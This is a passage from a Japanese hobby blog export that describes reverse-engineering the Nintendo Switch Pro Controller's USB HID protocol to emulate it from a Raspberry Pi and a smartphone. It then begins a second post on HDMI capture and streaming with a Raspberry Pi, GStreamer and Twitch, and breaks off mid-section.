Wireshark Wiki](https://wiki.wireshark.org/CaptureSetup/USB#macOS)\n\nUSBケーブルを繋げてすぐにMacとPro Controllerが通信を始め、しばらくの手続きののちに、入力データらしき物を返し続けるようになりました。\n\n\n\nこのとき通信を行っていたのはGoogle Chromeで、Gamepad APIの初期化をUSBデバイス認識時に行っているようでした。\n\nキャプチャしたデータを見てわかったこととして、入力データの通信内容がHID Report Descriptorに記されている定義と違う謎があると言うことです。\nいったいどんな謎があるのでしょうか。。深掘りしてみます。\n\n## Pro Controllerの解析\n\n### HID Report Descriptorの謎\n\n先の`usbhid-dump`でダンプしたHID Report Descriptorの内容を、先ほど紹介したHID Usage Tablesで内容を確認すると、一般的なコントローラーとは大きく違うことがわかってきました。\nダンプした内容はUSB-IFのドキュメントを参照して一つ一つデコードして見てみるもよしですが、コピペでデコードしてくれるWebサービスがあるので、それを使ってみてみます。\n\n[USB Descriptor and Request Parser](https://eleccelerator.com/usbdescreqparser/)\n\n\nデコードした結果は、以下のようになっています。\n\n<script src=\"https://gist.github.com/mzyy94/60ae253a45e2759451789a117c59acf9.js?file=hid_report_descriptor\"></script>\n\n\n入力機器からのデータを示すInputの他にOutputがあるのに加え、一番気になるのは、`0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00)` の部分です。独自のデータ定義が含まれていることを指しています。\nこれは単純に入力情報だけをUSB Gadget経由で送出していればいいわけではなく、一筋縄ではいかないことを意味しています。\n\nInputとOutputは各Report IDを持つ入出力が何を示すかを記しています。Report IDとは、URBパケットのヘッダを除くデータの1バイト目のことです。\nInput、すなわちPro Controllerからのデータを示すReport IDは、`0x81`, `0x21`, `0x30`の3つがあり、Output、すなわちNintendo SwitchからPro Controllerに送られるデータのReport IDは、`0x01`, `0x10`, `0x80`, `0x82`の4つがあることがわかります。\n\nInput Report ID `0x30`にだけ、詳細にどのビットがどの入力を示すかが定義されています。\n正しくデコードできていないところをHIDの仕様を元に正すと、下表の通りに入力データの各ビットの値をコントローラの各入力として定義していることがわかりました。\n\nUsage | Usage | Logical Min/Max | Report Size(bits) | Report Count |\n---:|---|:---:|:---:|:--:|\n`09` | Button | 0/1 | 1 | 10\n`09` | Button | 0/1 | 1 | 4\n- | (blank) | -/- | 1 | 2\n`010001` | Pointer | 0/65534 | 16 | 4 |\n`010030` | X | (ditto) | (ditto) |\n`010031` | Y | (ditto) | (ditto) |\n`010032` | Z | (ditto) | (ditto) |\n`010035` | Rz | (ditto) | (ditto) |\n`010039` | Hat switch | 0/7 | 4 | 1\n`09` | Button | 0/1 | 1 | 4\n\nこれを噛み砕くと、`0x30`で始まるURBのデータは、\n\n- 先頭から10ビットは各種ボタン(A/B/X/Y/L/R/L2/R2/L3/R3かな?)\n- 続く4ビットも各種ボタン(-/+/capture/homeかな?)\n- 2ビット飛んで\n- 左右のJoyスティックのX軸Y軸それぞれを16bitのunsgined short型で4つ\n- 十字キーの入力を0-7までの45度ずつで示して\n- 謎のボタン4つ\n\nとなるはずですが、Wiresharkで観測したデータはこの通りではありませんでした。\n\n一つ例をあげるとこんな感じです。\n\n```\n0000 30 df 91 00 80 00 31 28 7c dc 37 7b 0a 00 00 00\n0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n```\n\nこれを先ほどまとめたUsageの表の通りにバイナリ表現にして分解して、愚直に解釈しいくと、以下のようになっていると読み取れます。\n\nBits | Usage | Description |\n---:|---|:---:|\n`1101111110` | Button | ABXYLRなどのボタンが8つ同時に押されてる\n`0100` | Button | ボタンが1つ押されてる\n`0000000010000000` | Pointer X | スティックが少し倒されてる\n`0000000000110001` | Pointer Y | スティックが少し倒されてる\n`0010100001111100` | Pointer Z | スティックが結構倒されてる\n`1101110000110111` | Pointer Rz | スティックがものすごく倒されてる\n`0111` | Hat switch | 十字キーが315度の位置に入力されている\n`1011` | Button | 謎のボタンが3つ押されてる\n\nはい。こんな入力してません。何かがおかしい。\n\n解決の糸口を探すため、何かしらの実装をみてみる必要があります。\n\n### Chromium nintendo_controller実装\n\nChromeで[HTML5 Gamepad Tester](https://html5gamepad.com/)をみたときは左右のJoyスティックの座標を正しく認識していましたが、この状態でSafariでも見てみるとどうでしょう。\n\n\n\nJoyスティックは正しく表示されない上に、何も操作していなくてもボタンが押されているような挙動をしています。\n\nこれはどういうことかと言うと、Chromeの大元となるChromiumの実装には、nintendo_controller.ccといった、Pro Controllerを含む任天堂製のコントローラーのためのドライバーが、ブラウザのレイヤーで実装されているからでした。\n\n対してSafariのベースであるWebKitにはこういった実装がないため、先に示したHID Report Descriptorを愚直に解釈し、その入力値をコントローラー入力としてAPIに出していたためにおかしな挙動をしていたのです。\n\n[chromium/nintendo_controller.cc at 8dda15b2f1c013956e1e7cd75223d617af694694 · chromium/chromium](https://github.com/chromium/chromium/blob/8dda15b2f1c013956e1e7cd75223d617af694694/device/gamepad/nintendo_controller.cc)\n\nこのコードから、大まかな初期化処理を行う必要性がわかります。さらに、後述しますが、コントローラーの入力データの謎フォーマットも解けるのです。\n\nまずは初期化処理を、キャプチャしたデータを元に解析していきます。\n\n## リバースエンジニアリング\n\nChromiumのGemapad APIの実装がどういったやり取りを行っていたかを、Nintendo_Switch_Reverse_Engineeringを参考に紐解いていきます。\nWiresharkでキャプチャしたURB Interruptで送受信されているデータは、大まかに以下の5つのパターンでした。\n\n- `80 0X`で始まるChromiumからの要求(Output Report)\n- `81 0X`で始まるPro Controllerからの応答(Input Report)\n- `01 XX`で始まるChromiumからの要求(Output Report)\n- `21 XX`で始まるPro Controllerからの応答(Input Report)\n- `30 XX`で始まるPro Controllerからの応答(Input Report)\n\nこれらを[chromium/nintendo_controller.cc](https://github.com/chromium/chromium/blob/8dda15b2f1c013956e1e7cd75223d617af694694/device/gamepad/nintendo_controller.cc)と[Nintendo_Switch_Reverse_Engineering/USB-HID-Notes.md](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering/blob/012d8117a3725dcc13374d5844786ca2d650db5f/USB-HID-Notes.md)を元に解き明かしていくと、次のようになっていることがわかりました。\n\n- `80 0X`: ChromiumからのUSB HID初期化要求\n - X=1: Macアドレス要求\n - X=2: ハンドシェイク\n - X=3: baudrate設定\n - X=4: USB HID通信開始\n- `81 0X`: Pro ControllerからのUSB HID初期化応答\n- `01 XX`: ChromiumからのUART要求\n - XX: カウンター\n- `21 XX`: Pro ControllerからのUART応答+コントローラー入力\n- `30 XX`: Pro Controllerからのコントローラー入力\n\nUART要求に関しては、11バイト目から[Nintendo_Switch_Reverse_Engineering/bluetooth_hid_subcommands_notes.md](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering/blob/66935b7f456f6724464a53781035d25a215d7caa/bluetooth_hid_subcommands_notes.md)に記載のサブコマンドを送ることで、値の取得や設定を行っていました。\n\n\n### SwitchとPro Controllerをバイパス\n\n次のようにRaspberry Pi 4とNintendo Switch、そしてPro Controllerを配線します。\n\n\n\nRaspberry Pi 4には、ヒートシンク機能付きケースを付けてあります。\n数あるヒートシンク機能付きケースの中でも、HATを固定できるねじ穴が上に出てるのがこの製品にした決め手です。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07X47L6DD/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=0a54d809ccd910e81a24a46a564e9077&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07X47L6DD&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| Geekworm Raspberry pi 4(ラズベリーパイ4モデルB) CNC超薄型アルミ合金パッシブ冷却金属ケース、ラズパイ4モデルBのみに適用 \\| Geekworm \\| ベアボーンPC 通販](https://www.amazon.co.jp/gp/product/B07X47L6DD/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=ea0b8274695e7a1074770a391235d70c&language=ja_JP)\n\n\nこのとき、Raspberry Pi 4に接続したPro Controllerは、hidrawデバイスとして`/dev/hidraw0`にスペシャルファイルができます。\nこれに対してHIDのデータをファイルとして読み書きできます。\n\n```\npi@raspberrypi:~ $ sudo dmesg | grep -A7 057e\n[ 7201.091044] usb 1-1.3: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00\n[ 7201.091060] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3\n[ 7201.091074] usb 1-1.3: Product: Pro Controller\n[ 7201.091087] usb 1-1.3: Manufacturer: Nintendo Co., Ltd.\n[ 7201.091099] usb 1-1.3: SerialNumber: 000000000001\n[ 7201.112454] input: Nintendo Co., Ltd. Pro Controller as /devices/platform/scb/fd500000.pcie/pci0000:00/0000:00:00.0/0000:01:00.0/usb1/1-1/1-1.3/1-1.3:1.0/0003:057E:2009.0002/input/input1\n[ 7201.114447] hid-generic 0003:057E:2009.0002: input,hidraw0: USB HID v1.11 Joystick [Nintendo Co., Ltd. Pro Controller] on usb-0000:01:00.0-1.3/input0\n```\n\nこの`/dev/hidraw0`とconfigfsで作った`/dev/hidg0`を相互に繋げると、Nintendo SwitchとPro Controllerでやり取りする通信の間に割り込む事ができます。\n割り込んで、URBデータをダンプしてみます。\n\n\n<script src=\"https://gist.github.com/mzyy94/60ae253a45e2759451789a117c59acf9.js?file=bypass_procon.py\"></script>\n\nこれをroot権限で実行すると、Nintendo SwitchとPro Controllerの間でやり取りしているデータが流れてきます。\n`30 XX`で始まるPro Controllerからの入力データが多すぎるので、それを非表示にして初期化処理に絞ってみてみます。\n\n<script src=\"https://gist.github.com/mzyy94/60ae253a45e2759451789a117c59acf9.js?file=bypass_procon_log.txt\"></script>\n\n\nこの結果をNintendo_Switch_Reverse_Engineeringの資料を元にデコードすると、次のようにやり取りしていることがわかりました。\nSPIの部分は、[Nintendo_Switch_Reverse_Engineering/spi_flash_notes.md](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering/blob/66935b7f456f6724464a53781035d25a215d7caa/spi_flash_notes.md)を参考にしました。\n\n\nCommand | SubCommand | Description\n:-----:|:----:|----\n`08 05` | - | Disable USB HID Joystick report\n`08 01` | - | Request Mac Address\n`08 02` | - | Handshake\n`01 XX` | `03` | [UART] Set input report mode: 48\n`08 04` | - | Enable USB HID Joystick report\n`01 XX` | `48` | [UART] Enable vibration: False\n`01 XX` | `02` | [UART] Request device info\n`01 XX` | `08` | [UART] Set shipment low power state\n`01 XX` | `10` | [SPI] \"Serial number\" Len: 16\n`01 XX` | `10` | [SPI] \"Controller Color\" Len: 13\n`01 XX` | `01` | [UART] Bluetooth manual pairing\n`01 XX` | `03` | [UART] Set input report mode: 48\n`01 XX` | `04` | [UART] Trigger buttons elapsed time\n`01 XX` | `10` | [SPI] \"Factory Sensor and Stick parameter\" Len: 24\n`01 XX` | `10` | [SPI] \"Stick Data\" Len: 18\n`01 XX` | `10` | [SPI] \"Analog sticks Calibration\" Len: 24\n`01 XX` | `10` | [SPI] \"Factory configuration & calibration 2\" Len: 25\n`01 XX` | `10` | [SPI] \"6-Axis Calibration\" Len: 24\n`01 XX` | `40` | [UART] Enable IMU: True\n`01 XX` | `48` | [UART] Enable vibration: True\n`01 XX` | `21` | [UART] Set NFC/IR MCU configuration: 33\n`01 XX` | `30` | [UART] Set player lights: 1\n\n\n最低限、初期化処理でこれらのやり取りが完了できれば、Pro ControllerとしてNintendo Switchが認識してくれるでしょう。\n\nダンプしたデータを流用し、対応する応答が返せるようにします。\n\n### 入力データ\n\n初期化処理の次は、入力データを紐解きます。\nPro Controllerからのボタンの入力データは、**`08 04` Enable USB HID Joystick report**がSwitchからPro Controllerに送られると、一秒間におよそ80回の周期で`30 XX`で始まるURBをPro Controllerが送りつけてくるようになります。\n\nこの`30 XX`で始まるデータは、前途の通りHID Report Descriptorで通知されている通りではないので、どういった定義で値が意味をなしているかを通信からは断定できません。\nですが、先のchromiumのnintendo_controllerのソースコードに、どのビットがどのボタンであるかなど定義を読み取るれる実装がありました。\n\n\n<table style=\"text-align: center\">\n <thead>\n <tr>\n <th>Bytes/Bits</th>\n <th>7</th>\n <th>6</th>\n <th>5</th>\n <th>4</th>\n <th>3</th>\n <th>2</th>\n <th>1</th>\n <th>0</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <th>0x00</th>\n <td colspan=\"8\">0x30</td>\n </tr>\n <tr>\n <th>0x01</th>\n <td colspan=\"8\">timestamp</td>\n </tr>\n <tr>\n <th>0x02</th>\n <td colspan=\"4\" style=\"border-right: 1px solid #8f8f8f\">connection_info</td>\n <td colspan=\"4\">battery_level</td>\n </tr>\n <tr>\n <th>0x03</th>\n <td>ZR</td>\n <td>R</td>\n <td>SR(right)</td>\n <td>SL(right)</td>\n <td>A</td>\n <td>B</td>\n <td>X</td>\n <td>Y</td>\n </tr>\n <tr>\n <th>0x04</th>\n <td>Grip</td>\n <td>(none)</td>\n <td>Cap</td>\n <td>Home</td>\n <td>ThumbL</td>\n <td>ThumbR</td>\n <td>+</td>\n <td>-</td>\n </tr>\n <tr>\n <th>0x05</th>\n <td>ZL</td>\n <td>L</td>\n <td>SL(left)</td>\n <td>SR(left)</td>\n <td>Left</td>\n <td>Right</td>\n <td>Up</td>\n <td>Down</td>\n </tr>\n <tr>\n <th>0x06</th>\n <td colspan=\"8\">analog[0]</td>\n </tr>\n <tr>\n <th>0x07</th>\n <td colspan=\"8\">analog[1]</td>\n </tr>\n <tr>\n <th>0x08</th>\n <td colspan=\"8\">analog[2]</td>\n </tr>\n <tr>\n <th>0x09</th>\n <td colspan=\"8\">analog[3]</td>\n </tr>\n <tr>\n <th>0x0a</th>\n <td colspan=\"8\">analog[4]</td>\n </tr>\n <tr>\n <th>0x0b</th>\n <td colspan=\"8\">analog[5]</td>\n </tr>\n </tbody>\n</table>\n\n\n## Raspberry Piでシミュレート\n\nここまで集めた情報でPro Controllerをシミュレートするに必要なものは揃いました。\nこれを元に、Raspberry Pi 4でPro Controllerをシミュレートできるかどうかを試してみます。\n\n### 1.3inch LCD HATでの入力\n\nまずは小さい構成で動くかどうかです。\n入力はWaveshareのディスプレイ付きHATのボタン入力を使います。\n\n[1.3inch IPS LCD display HAT for Raspberry Pi, 240x240 pixels, SPI interface](https://www.waveshare.com/1.3inch-lcd-hat.htm)\n\n\n\nパッドの上下左右の入力はそのまま十字キーへ、押し込みを+、KEY1,KEY2,KEY3を順にA,B,Homeに割り当てます。\nついでにコントローラーの色を変えられるっぽかったので、Raspberry Piカラーにしてみました。\n上の写真にも写ってる通り、USB接続として認識されたコントローラーのボディがラズベリーカラーで、ボタンが葉っぱグリーンになってます。\n\n<script src=\"https://gist.github.com/mzyy94/60ae253a45e2759451789a117c59acf9.js?file=simulate_procon.py\"></script>\n\n動かしてみると、期待通りちゃんとコントローラーとして認識され、操作できました。\n\n\n\n\n### スマホからの入力\n\nあとはWi-Fi経由でスマホをRaspberry Piに接続し、入力をエミュレートすれば良いだけです。\n\nバックエンドの言語はCで、ライブラリは、スマホとの通信に[h2o](https://github.com/h2o/h2o)と[wslay](https://github.com/tatsuhiro-t/wslay)を、JSONパーサーに[jansson](https://github.com/akheron/jansson)、USB Gadgetの作成と接続に[libusbgx](https://github.com/libusbgx/libusbgx)を、USB Gadgetの監視に[libevent](https://libevent.org/)を用いました。\nフロントエンドはHTML5+JavaScriptで、全画面表示のためにPWA技術を、コントローラーの描画に[pixi.js](https://www.pixijs.com/)を用いました。\n\nバックエンドをGoやRustなどのモダン言語を使わなかったのは、ちょっとまだ追加で実装したいものがある関係で、あえてCを選んだが故です。\n\n<Notice type=\"tip\">\n**追記(2020/05/09)** やっぱりCで書くの辛くなってきたのでGoで書き直した。\n[mzyy94/nscon: Nintendo Switch Controller simulator written in go](https://github.com/mzyy94/nscon)\n</Notice>\n\n実際に動作している様子がこちら。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">スマホをNintendo Switchのコントローラーにできたやつ <a href=\"https://t.co/cM9BgcWktl\">pic.twitter.com/cM9BgcWktl</a></p>&mdash; 咳4週間 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1240606803093671937?ref_src=twsrc%5Etfw\">March 19, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n## まとめ\n\nこれでコントローラーが見つからなくてもスマホがあればどうぶつの森ができるようになりました。やったね。\nまあスマホもよくなくすんですけどね。\n\n---\n\n### 参考リンク\n\n- [linux/gadget-testing.rst at a2d79c7174aeb43b13020dd53d85a7aefdd9f3e5 · torvalds/linux](https://github.com/torvalds/linux/blob/a2d79c7174aeb43b13020dd53d85a7aefdd9f3e5/Documentation/usb/gadget-testing.rst)\n- [chromium/keyboard_gadget.py at 2ca8c5037021c9d2ecc00b787d58a31ed8fc8bcb · chromium/chromium](https://github.com/chromium/chromium/blob/2ca8c5037021c9d2ecc00b787d58a31ed8fc8bcb/tools/usb_gadget/keyboard_gadget.py)\n- [Hori Pad for Nintendo Switch USB Descriptor (dumped through lsusb)](https://gist.github.com/jwiki95/86dcf36103ce799b3e262ed7b4245da6)\n- [HID Protocol for Bluetooth / USB · Issue #7 · dekuNukem/Nintendo_Switch_Reverse_Engineering](https://github.com/dekuNukem/Nintendo_Switch_Reverse_Engineering/issues/7)\n- [HID-Joy-Con-Whispering/hidtest.cpp at master · shinyquagsire23/HID-Joy-Con-Whispering](https://github.com/shinyquagsire23/HID-Joy-Con-Whispering/blob/master/hidtest/hidtest.cpp)\n"]}],[0,{"slug":[0,"2020/04/10/raspberrypi-hdmi-input/"],"data":[0,{"title":[0,"HDMI入力をRaspberry Piで駆使する"],"date":[3,"2020-04-09T18:00:00.000Z"],"image":[0,"/assets/images/2020/04/10/raspi-hdmi-connected.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"nintendo"],[0,"switch"],[0,"hdmi"],[0,"uvc"],[0,"raspberry-pi"],[0,"sbc"],[0,"webrtc"],[0,"gstreamer"],[0,"tc358743"]]]}],"content":[0,"\n昨今の衰えることのない技術トレンドに追従すべく、映像配信とかやりたいなーと思っていた2019年。\nめっきり時間がなく何もできず、気付けば2020年になっていました。\n\n今年も時間がないだろうなぁと思っていたところ、連日の在宅勤務のおかげで通勤時間がゼロになり、余暇が生まれたので色々やってみることにしました。\n\nお題はHDMI入力で遊ぶ、です。\n\n## 目次\n\n\n## ビデオ転送プロトコル\n\n早速ですがHDMIから一旦離れて、まずは記事中に出てくるビデオ転送プロトコルについて、大まかに解説しておきます。\n\n### UVC (USB Video Class)\n\n[Video Class v1.5 document set \\| USB-IF](https://www.usb.org/document-library/video-class-v15-document-set)\n\n一般的なPC向けウェブカメラが、このプロトコルを用いています。\nUSB-IFが定めているデバイスクラスの一つで、ビデオストリーミングをUSB経由で転送するプロトコルです。\nWindowsやmacOS、LinuxやAndroid含め、ほとんどのOSに標準でドライバが導入されています。\n\n### MIPI CSI-2 (MIPI Camera Serial Interface 2)\n\n[MIPI Camera Serial Interface 2 (MIPI CSI-2)](https://mipi.org/specifications/csi-2)\n\nRaspberry Piのカメラ入力端子がこれを用いています。\n組み込み機器向けのカメラ入力として、[NVIDIA Jetsonシリーズ](https://www.nvidia.com/ja-jp/autonomous-machines/embedded-systems/)などでも用いられています。\n高解像度、高フレームレート、高精細な映像データの通過に耐えらえれるよう、高速なデータ転送を可能としています。\n転送レーンの数によって総通信速度が異なってきますが、1レーンでも2.5Gbpsの転送速度を誇っています。\n\n\n\n出典: [MIPI Camera Serial Interface 2 (MIPI CSI-2)](https://mipi.org/specifications/csi-2)\n\n\nRaspberry Pi 4に搭載されているBCM2711には2レーン、NVIDIA Jetson NanoやJetson Xavier NX、10th Gen Intel® Core™ Y-Series Processorには12レーンのMIPI CSI-2が搭載されています。\nIntel CPUやJetson Nanoが12レーン × 2.5Gbps = 30Gbpsの映像伝送通信が可能であることは、あまり知られていなかったりします。\n\n- [Raspberry Pi 4 Model B specifications – Raspberry Pi](https://www.raspberrypi.org/products/raspberry-pi-4-model-b/specifications/)\n- [世界最小の AI スーパーコンピューター: Jetson Xavier NX - NVIDIA](https://www.nvidia.com/ja-jp/autonomous-machines/embedded-systems/jetson-xavier-nx/)\n- [Intelligent Performance 10th Gen Intel® Core™ Processors Brief](https://www.intel.com/content/www/us/en/products/docs/processors/core/10th-gen-core-mobile-processors-brief.html#editorialTableBlade-9)\n\n## HDMI入力\n\nHDMIの話に戻ります。プロトコルの話は今回は触れません。\n\n### キャプチャーボード\n\nHDMI入力と聞いて大半の人が思い浮かぶのが、俗にキャプボと呼ばれるキャプチャーボードの類いだと思います。\n\n[Amazon.co.jp: キャプチャーボード](https://www.amazon.co.jp/%E3%82%AD%E3%83%A3%E3%83%97%E3%83%81%E3%83%A3%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89/s?k=%E3%82%AD%E3%83%A3%E3%83%97%E3%83%81%E3%83%A3%E3%83%BC%E3%83%9C%E3%83%BC%E3%83%89&tag=mzyy-22)\n\nUSB接続のこれらはHDMI入力の映像を、UVCプロトコルで転送できる形に変換してPCへと渡すものです。\n一般的に、ゲーム機の入力を取り込み、配信サイトでゲーム実況配信をする使われ方をします。\n\n大半が数万円するやや高価な代物であるのに加え、昨今のリモートワークの増加によって画面共有の需要も増加し価格が高騰しています。また、コンシューマー向けとあって[ハッカビリティ](https://en.wiktionary.org/wiki/hackability)の低いものとなっているため、市販のUSBキャプチャーボードは使いません。\n\n### HDMI to MIPI CSI-2\n\n\n\n引用元: [B101 HDMI to CSI-2 Bridge (15 pin FPC) – Auvidea](https://auvidea.eu/b101-hdmi-to-csi-2-bridge-15-pin-fpc/)\n\n知る人ぞ知る、NVIDIA JetsonやRaspberry Pi向けの映像周辺ボードを手掛けるAuvidea。\nここが展開する商品の一つに、B101 HDMI to CSI-2 Bridgeがあります。\n製品名の通り、HDMI入力をCSI-2に変換する基板です。\n変換チップに[TC358743XBG](https://toshiba.semicon-storage.com/jp/semiconductor/product/interface-bridge-ics-for-mobile-peripheral-devices/hdmir-interface-bridge-ics/detail.TC358743XBG.html)を搭載しています。\n\n直販価格は69.90ユーロ(執筆時)と、安価とは言えないものの納得のいく価格ですが、日本への送料が101.99ユーロ(執筆時)と、すんなりとは納得のいかない価格だったので購入を躊躇していました。\n\nそんなとき、頼るべくはいろんな意味でリーズナブルな中国の技術です。\n搭載されているチップ、TC358743XBGとRaspberry PiのキーワードでAliexpressやTaobaoを探索していると、[冬虫电子](https://dcac.world.taobao.com/)なる会社(?)が求めている物を製造・販売しているのを見つけました。\n\n[樹莓派 ZERO HDMI採集, HDMI 轉 CSI ,HDMI輸入](https://world.taobao.com/item/602390051699.htm)\n\n[Lusya アップグレード版ラズベリーパイ hdmi アダプタボード hdmi インタフェースに CSI 2 TC358743XBG ため 4B 3B 3B + ゼロ G11 011\\|アンプ\\| - AliExpress](http://s.click.aliexpress.com/e/_dTNt3wP)\n\n価格も36.98 USD(執筆時)と安かったのでこれを購入しました。\n\n\n\n\n商品ページに 板子名稱:H2C-RPI-B01 と書かれているため、以下、この製品をH2C-RPI-B01と呼称します。\n\n<Notice type=\"tip\">\n**追記(2021/5/27)** Waveshareでも今年に入ってから類似の製品が取り扱われるようになったようです。\n[HDMI To CSI Adapter For Raspberry Pi Series, 1080p@30fps Support - Waveshare](https://www.waveshare.com/hdmi-to-csi-adapter.htm)\n</Notice>\n\n## H2C-RPI-B01\n\n\n\nH2C-RPI-B01はRaspberry Pi Zeroとほぼ同じサイズであり、ねじ穴もRaspberry PiのHAT位置にあり、Raspberry Pi 4とも親和性がとても良いです。\n\n接続はFPCケーブルをH2C-RPI-B01とRaspberry PiのCSI-2ポートの双方に繋げるだけですが、HDMIケーブルを抜き差しするため、しっかりと固定する必要があります。\nそのために、HATを固定できるねじ穴が上に出てるヒートシンクケースを買ったりしていました。\nこのねじ穴に6角スペーサーを取り付けH2C-RPI-B01を固定することで、頻繁な抜き差しでも基板の揺れなく扱えます。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07X47L6DD/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=0a54d809ccd910e81a24a46a564e9077&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07X47L6DD&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| Geekworm Raspberry pi 4(ラズベリーパイ4モデルB) CNC超薄型アルミ合金パッシブ冷却金属ケース、ラズパイ4モデルBのみに適用 \\| Geekworm \\| ベアボーンPC 通販](https://www.amazon.co.jp/gp/product/B07X47L6DD/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=ea0b8274695e7a1074770a391235d70c&language=ja_JP)\n\n\n## HDMI映像入力をみてみる\n\n取り付けが終わったら、入力をみてみます。\nRaspbianには、[Raspberry Pi Camera Module](https://www.raspberrypi.org/documentation/usage/camera/)と同様にして認識され、必要なものは標準で読み込まれているので、Camera Moduleと同じ初期設定だけすれば使えます。\n\n初期設定も難しいものではなく、`sudo raspi-config nonint do_camera 0`を打ち込むだけです。\n\n再起動すると、`vcgencmd get_camera`で**supported=1 detected=1**と返ってくるはずです。\nまた、**/dev/video0**にHDMI入力を変換したH.264ストリームにアクセスできるVideo4Linux2デバイスが出来上がります。\n\n### raspivid\n\nRaspbianでMIPI CSI-2カメラの映像を録画するテストコマンドの一つ、[raspivid](https://github.com/raspberrypi/userland/blob/95b29b556a4068725ea9948f6e78790ab3aa153e/host_applications/linux/apps/raspicam/RaspiVid.c)を用いて映像をキャプチャしてみます。\n\n```\npi@raspberrypi:~ $ raspivid -w 1280 -h 720 -fps 30 -b 500000 -o /tmp/rec.h264\nThe driver for the TC358743 HDMI to CSI2 chip you are using is NOT supported.\nThey were written for a demo purposes only, and are in the firmware on an as-is\nbasis and therefore requests for support or changes will not be acted on.\n```\n\n\n\nVLCで見てみると、ちゃんとraspividで取り込めています。\n\n### Gstreamer\n\nマルチメディアを扱うオープンソースのフレームワーク、[Gstreamer](https://gstreamer.freedesktop.org/)を用いると、煮たり焼いたりの幅が大きく広がるため、これで使えるかどうかをみてみます。\n詳しい使い方は他のサイトを参考にしてもらうとして、ざっとコマンドラインツールとプラグイン各種を導入して動かしてみます。\n\n```\nsudo apt install -y gstreamer1.0-tools gstreamer1.0-nice gstreamer1.0-plugins-bad gstreamer1.0-plugins-ugly gstreamer1.0-plugins-good gstreamer1.0-omx\n```\n\nさくっと動作確認してみます。先ほどのraspividではファイルに保存してみましたが、[RTP](https://ja.wikipedia.org/wiki/Real-time_Transport_Protocol)で転送してみます。\n試してみる人は、mzyy94.localを自身のマシンのIPアドレスにでも置き換えて動かしてください。\n\n```\ngst-launch-1.0 v4l2src ! video/x-h264,width=1280,height=720,framerate=30/1,bitrate=500000 ! h264parse ! rtph264pay config-interval=-1 pt=96 ! udpsink host=mzyy94.local port=5678\n```\n\nRaspbianでこれを実行してる状態で、macOSでreceive.sdpというテキストファイルを作成して、以下の内容を書き込み、VLCで開きます。\n\n```\nv=0\nc=IN IP4 0.0.0.0\nm=video 5678 RTP/AVP 96\na=rtpmap:96 H264/90000\n```\n\n\n\n遅延は大きいですが、ちゃんとgstreamerで転送できています。\n\n## HDMI映像配信してみる\n\nちょっと応用を利かせてHDMI映像入力を配信してみます。\n\n### RTMP\n\n[Real Time Messaging Protocol - Wikipedia](https://ja.wikipedia.org/wiki/Real_Time_Messaging_Protocol)\n\nTwitchとかYouTube Liveとかで配信する時に通信するプロトコルです。これは簡単にGstreamerを使ってできます。\nTwitchでやってみます。\n\n必要なのは、RTMPのエンドポイントURL。Twitchの場合、これは以下のサイトで確認できます。\n\n[Twitch Streamers - Twitch Ingest Information](https://stream.twitch.tv/ingests/)\n\n日本からの配信は、Tokyoにある以下のエンドポイントが最適とされています(執筆時)。\n\n```\nrtmp://live-tyo.twitch.tv/app/{stream_key}\n```\n\nこの**\\{stream_key\\}**にはTwitchダッシュボードで確認できるPrimary Stream keyを入れ、URLを完成させます。\n\nTwitchに配信した映像を見てゲームを進行するには遅延が大きすぎるので、[DRM/KMS](https://en.wikipedia.org/wiki/Direct_Rendering_Manager#Kernel_Mode_Setting)に映像を出力することで、Raspberry PiのHDMI出力から限りなく遅延の少ないRAW映像を同時出力します。\n\nkmsはRaspberry Pi 3までは`raspi-config`でFull KMSオプションを選択して有効化するのですが、Raspberry Pi 4に新しく搭載されたVideoCore VIにはFull KMSがまだ動く状態ではないようです。\nただ、Raspberry Pi 4はFake KMSがデフォルトで有効になっているので、特に何もせずに動きます。\n\ngstreamerでv4l2からvideo/x-rawとして生映像を取り出し、kmssinkに出力しつつ、Raspberry Piのハードウェアエンコーダーであるomxh264encを通してH.264に変換したものをflv形式にまとめ、rtmpsinkでTwitchへと送出します。\n\n\n```\nexport stream_key=your_stream_key_here\ngst-launch-1.0 v4l2src ! videorate ! video/x-raw,width=1280,height=720,framerate=30/1 ! tee name=t t. ! queue ! kmssink t. ! omxh264enc ! h264parse ! flvmux ! rtmpsink location=rtmp://live-tyo.twitch.tv/app/${stream_key}\n```\n\nコマンドラインでこれを実行すると、Raspberry Piに繋げたHDMIディスプレイにほぼ遅延なく映像が表示され、Twitchで配信できていることを確認できます。\n\n\n\n\n\n### WebRTC\n\n[WebRTC - 